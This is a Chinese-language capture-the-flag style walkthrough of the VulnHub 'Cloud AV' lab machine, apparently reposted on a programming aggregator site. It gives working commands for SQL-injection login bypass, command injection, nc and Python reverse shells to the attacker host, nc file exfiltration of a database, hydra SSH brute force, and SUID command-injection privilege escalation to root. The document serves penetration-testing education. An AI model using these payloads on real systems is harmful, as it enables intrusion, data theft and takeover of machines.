概述
靶场搭建
靶场下载地址:BoredHackerBlog: Cloud AV ~ VulnHub
下载下来是虚拟机.ova压缩文件,直接用Vmvare导出就行
打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)
开启虚拟机
我打靶时这台靶机不能自己获取ip,需要更改一下配置,具体操作请看我这篇文章:靶机无法自己获取ip地址解决办法_奋斗吧!小胖子的博客-CSDN博客
靶场搭建完成
渗透测试
由于不知道靶机ip,所以需要扫描NAT的网段
128是kali攻击机,所以132是靶机
扫描靶机所开放的端口、服务及版本
nmap -sT -p 0-65535 -A 192.168.52.132
开放了22端口,存在SSH服务
开放了8080端口,存在http服务,且存在框架Werkzeug 0.14.1 (python 2.7.15)
先访问一下WEB
发现一个反病毒扫描的一个模块,需要输入密码才能进入
抓包测试
发送到repeater模块
密码错误就会回显WRONG INFORMATION
测试一下是否存在sql注入,发现存在sql注入
使用sql注入语句登录
成功登入
可以看到列出了一些文件,让我们输入文件名来扫描这些文件
推测这个扫描可能是通过在命令行运行某个扫描软件,软件名称 + 文件名
所以可能存在命令注入,测试一下
果然存在命令注入
利用命令注入来获得shell
看看靶机上是否有nc
存在nc
看靶机上是否有python
存在python
这里我们分别用两种方式来获取shell
用nc
在kali上监听4444端口
执行以下命令
bash | nc 192.168.52.128 4444 -e /bin/bash
执行了命令,但是没有收到shell
可能是由于靶机上的nc版本不支持-e参数,这里我们使用nc串联试一下
在kali上分别监听4444和5555两个端口
执行以下命令
bash | nc 192.168.52.128 4444 | /bin/bash | nc 192.168.52.128 5555
成功获得shell,在4444端口输入命令,在5555端口回显
用python
在kali上监听6666端口
执行以下命令
bash | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.52.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
成功获得shell
在目录下发现一个database.sql数据库文件,数据库中很有可能包含着很重要的信息
通过file命令查看这个文件,发现这个文件是一个sqllite的文件
执行一下sqllite命令,发现靶机上不存在sqlite的运行环境
我们需要将这个sql文件上传到kali机器上,在kali机器上查看
通过nc来传输文件
在kali上输入以下命令
nc -nlvp 3333 > a.sql
在靶机上输入以下命令
nc 192.168.52.128 3333 < database.sql
传输成功
在kali上执行sqlite,运行sqlite
进入sqlite命令行之后,输入命令
.open a.sql ## 打开加载sql文件
.database ## 查看当前运行的数据库
.dump ## 查看当前数据库数据
成功查看到数据
ERT INTO code VALUES('myinvitecode123');
INSERT INTO code VALUES('mysecondinvitecode');
INSERT INTO code VALUES('cloudavtech');
INSERT INTO code VALUES('mostsecurescanner');
发现了四个密码,并且主机开放了ssh服务,试着登录ssh服务
先看一下有哪些用户
cat /etc/passwd
发现有三个用户有/bin/bash,也就是可以登录的用户
将这三个用户名保存到user.txt文件中
将四个密码保存到passwd.txt文件中
使用hydra进行ssh爆破
hydra -L user.txt -P passwd.txt 192.168.52.132 ssh
没有发现可以登录的账号密码
接下来只能通过已经获得的shell进行提权
sudo提权
sudo -l 查看是否有可提权的命令
需要密码,不能同过这种方式提权
SUID提权
SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限
通过命令
find / -perm -4000 2>/dev/null查看是否具有root权限的命令
常见可用于提权root权限文件
nmap
vim
find
bash
more
less
nano
cp
screen-4.5.0
发现一个有suid权限的一个似乎可以利用的文件
进入到此文件目录下
发现一个文件名相同的.c文件,所以猜测此文件就是由.c文件编译而来的
查看一下这个c语言程序
程序的大概含义是,执行这个文件时,后面要加上参数,如果不带参数的话就会提示你加上参数,如果有参数,就正常执行命令
我们可以试着利用一下,看能不能命令注入
先分别监听4444和5555端口
然后执行一下命令
./update_cloudav "aloudav_app | nc 192.168.52.128 4444 |/bin/bash | nc 192.168.52.128 5555"
成功获得root权限的shell
最后
以上就是奋斗豆芽为你收集整理的VnlnHub BOREDHACKERBLOG CLOUD AV靶场搭建渗透测试的全部内容,希望文章能够帮你解决VnlnHub BOREDHACKERBLOG CLOUD AV靶场搭建渗透测试所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复